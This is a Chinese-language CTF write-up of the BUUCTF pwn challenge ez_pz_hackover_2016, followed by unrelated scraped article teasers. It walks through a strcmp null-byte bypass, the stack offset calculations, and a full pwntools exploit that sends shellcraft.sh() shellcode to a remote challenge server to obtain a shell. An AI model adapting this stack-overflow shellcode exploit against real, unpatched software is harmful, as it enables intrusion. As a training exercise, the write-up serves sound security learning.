BUUCTF刷题之路--ez_pz_hackover_20161

news2024/11/18 17:23:47

检查开启的保护:

32位程序,没有开启保护。看到这大概率猜到是可以利用shellcode。接着IDA查看下逻辑:
主函数:

 header函数:

 chall函数:

 大致讲解下程序逻辑。首先会要求你输入一个名字。存入s这个缓冲区中。接着会输出你的名字。

 我们看到缓冲区的大小有0X40c也就是1036个字节,但是允许输入的只有1023个字节。因此在这里我们无法溢出。接着往下看。有一个vuln函数:

允许我们向缓冲区存入0x400个字节,而缓冲区大小仅有0x32字节。因此这个函数里是存在栈溢出漏洞的,我们需要执行这个函数。想要执行这个函数先要绕过if(!result)语句的判断。strcmp是比较字符串的函数,当他遇到/0的时候会发生截断,因此我们构造一个crashme/x00就能进入vuln函数。在vuln函数里,会把s缓冲区里的数据复制到dest缓冲区中。因此我们需要在一开始的输入就构造好我们的shellcode,和shellcode的地址。我在做这题的时候有很多疑问。根据IDA的提示,s数组应该在ebp的上面0x40c个字节处,而dest应该在ebp上面的0x32字节处.但是当我进行输入调试的时候发现ebp在我输入缓冲区的上面。

我不明白为什么(后来补充的:我好像明白为什么了,因为s缓冲区是在chall函数里面的局部变量,是先开辟栈空间的,再后来执行vuln函数,会开辟新的栈空间,在s缓冲区的上面,因此图示可以是这样的)(保留我自己的疑问,哈哈):

我们在vuln快执行完的地方下个断点看看栈的布局:

调试的代码:

from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'

gdb.attach(p,'b *0x8048600')

p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收s在栈上的地址
print hex(stack)

payload='crashme\x00'+'aaaaaa'#crashme\x00绕过if判断      
p.sendline(payload)

pause()

 

按照这样的布局,我们就需要把这个ebp+4的位置给覆盖成我们shellcode的地址。那么我们算一下需要多少字节能覆盖到:

ebp的偏移看到是0x38,我们输入的位置是0x22 ,因为63是c,72是r,0000不是我们输入的。小端字节序倒着读。(0x38-0x22)=0x16,得再加4,才能到返回地址。因此这个偏移大概是0x16+4.

因此构造的样子需要是这样的:

payload='crashme\x00'+'a'*(0x16-8+4)+p32(addr) //-8是因为crashme\x00占用了

程序运行的开始会给我们输出一个s的栈地址。我们在布局中看一下:

这就是我一直疑惑的点(后来不疑惑了)。它在ebp的下面。将计就计,既然我们只有一次输入机会,那么我们构造完返回地址后,肯定跟的是我们的shellcode。因此我们直接把地址返回给ebp+8的位置。这个偏移我们怎么得到呢,直接0xffffc2f9c-0xfffc2f80=1c。这样我们的大功就告成了。很多细节我还是不是很懂啊。以后想到了再补充。最后我们的exp如下:

# -*- coding: utf-8 -*-
from pwn import *

r=remote('node4.buuoj.cn','29896')
r.recvuntil('crash: ')
stack_addr=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#自动生成shellcode

payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack_addr-0x1c)+shellcode
r.sendline(payload)

r.interactive()

得到flag: 

tiaostiao's

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/695711.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis7【④ 事务 管道】

1. Redis事务 Redis 事务(Transaction)是一组 Redis 命令的集合,这些命令被当作一个整体,按顺序地串行化执行,而不会被其他命令插入。 Redis 事务使用 MULTI、EXEC、WATCH、DISCARD 和 UNWATCH 这些命令来实现。 1.1…

Linux系统:进程控制

文章目录 1 创建进程2 进程终止2.1 进程退出情况2.2 进程终止的常见方式2.2.1 return语句2.2.2 exit()函数2.2.3 _exit()函数 3进程等待3.1 进程等待的重要性3.2 进程等待的方法3.2.1 wait()方法3.2.2 waitpid()方法 4 进程替换4.1 替换原理4.2 替换函数 1 创建进程 fork()函数…

mediapipe 手势节点识别自动控制音量

参考:https://www.computervision.zone/topic/volumehandcontrol-py/ 主函数: VolumeHandControl.py import cv2 import time import numpy as np import HandTrackingModule as htm import math from ctypes import cast, POINTER from comtypes imp…

[问题解决] ubuntu 18.04 GPU驱动安装

删除当前显卡驱动[参考] sudo apt-get purge nvidia* 查看推荐驱动 sudo ubuntu-drivers devices 安装对应驱动 sudo apt install nvidia-driver-530 验证安装是否成功:nvidia-smi

「一本通 3.2 例 3」架设电话线

题目大意 在加权无向图上求出一条从 号结点到 号结点的路径,使路径上第 大的边权尽量小。 思路 由于是一次性的,且这题数据极小,考虑 正常情况下是来更新数组的,不过这次是更新 表示第个节点,(可以…

springboot引入外部sdk,以及在maven中配置,以及连同sdk打包

目录 1 安置sdk 2 配置maven配置文件 3 刷新maven即可 4 打包配置 1 安置sdk 将外部的sdk放在项目的指定目录下,我选择放在resource/sdk的目录下 示例: 2 配置maven配置文件 打开pom.xml,新增以下的依赖配置 具体如下所示: …

C# OpenCvSharp 透视变换(图像摆正)Demo

效果 Demo下载 代码 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.IO; using OpenCvSharp; using OpenCvSha…

王爽《汇编语言》期末考试题库(附答案)

单选题 第一章 PC机的最小信息单位是( )。 A. bit B. 字节 C. 字长 D. 字 A PC机的最小信息单位是比特(bit),常用来表示一位二进制数字(0或1)。字节(byte)是计算机中常用的数据单位,一个字…

vscode中ModuleNotFoundError: No module named ‘torch‘解决方法

文章目录 遇到的问题解决方法参考 遇到的问题 使用vscode训练模型,没有使用远程服务器,使用本地运行代码,显示“ModuleNotFoundError: No module named ‘torch’” 解决方法 这是因为没有选择合适的python解释器。如何选择正确的解释器呢&…

【HDFS实战】HDFS上的数据均衡

HDFS上的数据均衡简介 文章目录 HDFS上的数据均衡简介重新平衡数据节点之间的数据块相关命令 重新平衡DN内磁盘间的数据相关命令PlanExecuteQueryCancelReport 相关配置调试 HDFS上的balance目前有两类: Balancer:节点之间的balanceDisk Balancer&#x…

C# WinForm 学习记录

1.为项目添加dll引用 在“解决方案资源管理器”面板中选择项目,单机鼠标右键,弹出菜单中选择“添加”->“引用”打开引用管理器,选择浏览添加自己需要的dll文件即可 2.位移运算符使用技巧 在进行位移运算时,当数值的二进制数…

设计模式学习笔记——你真的学透单例模式了吗

你真的学透单例模式了吗 一、概述 单例模式(Singleton Pattern)指确保一个类在任何情况下都绝对只有一个实例,并提供一个全局访问点,属于创建型设计模式 二、类图 三、通用写法 public class SingletonTest {public static vo…

使用docker安装redis,修改密码

1、搜索镜像 docker search redis 2、拉取镜像 docker pull redis 3.创建容器 前边是宿主机端口 后面是docker使用的端口 docker run --name redis -p 6379:6379 redis-test --requirepass 123456 这里密码设置为123456 4、如何修改密码 现有的redis创建密码或修改密码…

Python学习——字符串

一、字符串 字符串也是基本数据类型,是一个不可变的字符序列,字符串可以用单引号,双引号,三引号进行定义。 字符串的驻留机制,简而言之,就是相同的字符串只保留一个,后续创建相同字符串的时候&a…

【漏洞案例】云上攻防-记一次打穿云上内网的攻防实战

0x01 外网打点,但在云上 目标单位就给出了一个子域名和一个IP,访问给出的子域名就一个登录框,测试了下忘记密码处有用户名枚举,但登录功能做了登录失败处理,知道用户名也无法进行爆破。 登录时会调用api.target.com域…

CICflowmeter安装使用

项目地址:https://github.com/ahlashkari/CICFlowMeter前置条件:maven,winpcap或其他抓包工具,ideal或 Eclipse 用 ideal 打开项目,发现还需要 jnetpcap 包,但是 maven 仓库好像没有,自己编译 …

思科(Cisco)日志分析工具

作为网络安全管理员,实时监控和分析思科防火墙日志至关重要。对于安全网络,管理员需要: 检测各种网络攻击,并查明攻击的来源和类型(思科实时日志查看器)。跟踪思科防火墙上未经授权的登录尝试。获取有关活…

PHP OA协同办公管理系统mysql数据库web结构apache计算机软件工程网页wamp

一、源码特点 PHP OA协同办公管理系统 是一套完善的web设计系统,对理解php编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。 代码下载 https://download.csdn.net/download/qq_41221322/87959360https://do…

wireshark抓包工具常用功能

wireshark工具面板如下图所示: 本文记录我比较常用的功能。如果有大佬还用过其他功能麻烦指点一二。 抓包、查找、过滤、数据分析。 菜单工具栏: 设置时间戳格式: 为了方便自己查看,把时间戳格式设置为自己认为比较好看的格式…

ThinkPHP6 请求

ThinkPHP6 请求 前言一、 获取请求二、request其他方法三, 请求信息总结 前言 什么是请求,就是 G E T 和 _GET和 G​ET和_POST类似的东西 一、 获取请求 获取请求可以使用$_GET、$_POST、$_REQUEST、$_SERVER、$_SESSION、$_COOKIE、$_ENV等系统变量,也可…